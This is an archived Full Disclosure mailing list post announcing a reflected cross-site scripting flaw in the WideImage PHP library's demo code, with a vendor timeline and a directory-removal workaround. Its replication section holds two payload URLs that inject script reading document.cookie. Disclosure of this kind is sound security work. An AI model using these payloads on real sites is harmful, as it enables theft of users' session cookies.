full-disclosure - [FD] WideImage Demo Code Cross Site Scripting (XSS)

Open Source and information security mailing list archives

Message-ID: <559a6930.4358b40a.7c15.0e3c@mx.google.com>
Date: Mon, 6 Jul 2015 11:39:55 +0000
From: <sikkandar.lynx@...il.com>
To: "vuln@...unia.com" <vuln@...unia.com>, 
	"submit@...ec.org" <submit@...ec.org>, 
	"fulldisclosure@...lists.org" <fulldisclosure@...lists.org>
Subject: [FD] WideImage Demo Code Cross Site Scripting (XSS)

WideImage Demo Code Cross Site Scripting (XSS)

Description:
WideImage is an object-oriented library for image manipulation. 
It requires PHP 5.2+ with GD2 extension. The library provides a simple way to loading, manipulating and saving images in the most common image formats.

Type of vulnerability: 
Reflected XSS

Threat level:
Medium

Tested on: 
Windows 8.1

Product: 
WideImage - An Open Source PHP library for image manipulation.

Version: 
11.02.19

Build date: 
2011-02-19

Live vulnerable URL during discovery:
http://wideimage.sourceforge.net/wp-content/current/demo/index.php

How to replicate this vulnerability:
Assuming WideImage is installed on http://localhost:8080/wideimage/, one can inject
JavaScript with:

Payload URL 1:
http://localhost:8080/wideimage/demo/?colors=255&demo=applyConvolution&dither=1&dither_cb=1&div=1&match_palette=1&match_palette_cb=1&matrix=2%25200%25200%252c%25200%2520-1%25200%252c%25200%25200%2520-1%22%20onmouseover%3dalert%28document.cookie%29%20bad%3d%22&offset=220&output=preset%20for%20demo

Payload URL 1:
http://localhost:8080/wideimage/demo/?colors=255&demo=applyConvolution&dither=1&dither_cb=1&div=1&match_palette=1&match_palette_cb=1&matrix=2%25200%25200%252c%25200%2520-1%25200%252c%25200%25200%2520-1%22%20onmouseover%3dprompt%666%29%20bad%3d%22&offset=220&output=preset%20for%20demo

Workaround/Fix:
To fix this, please remove the two following directories:
public_html/wideimage/demo
public_html/wideimage/test

Disclosure Time-line:
Notified vendor: July 04, 2015
Response from vendor: No response. 
Disclosure due to: Page here at http://wideimage.sourceforge.net/support/ says, "6. If it's bug. Report it."
Fix: Not fixed at this time (July 07, 2015)
WideImage Vendor Bug Ticket Reference: http://sourceforge.net/p/wideimage/bugs/42/

Credits and Copyright:
This vulnerability was discovered by Mohammad Sikkandar Sha.
It's licensed under the creative commons attribution license 4.0.

Mohammad Sikkandar Sha, 2015-July-07, Email: sikkandar.lynx@...il.com
Download attachment "Reflected XSS 2.JPG" of type "image/jpeg" (160027 bytes)

Download attachment "Reflected XSS 1.JPG" of type "image/jpeg" (158933 bytes)

_______________________________________________
Sent through the Full Disclosure mailing list
https://nmap.org/mailman/listinfo/fulldisclosure
Web Archives & RSS: http://seclists.org/fulldisclosure/

lists.openwall.net		lists / announce owl-users owl-dev john-users john-dev passwdqc-users yescrypt popa3d-users / oss-security kernel-hardening musl sabotage tlsify passwords / crypt-dev xvendor / Bugtraq Full-Disclosure linux-kernel linux-netdev linux-ext4 linux-hardening linux-cve-announce PHC
Open Source and information security mailing list archives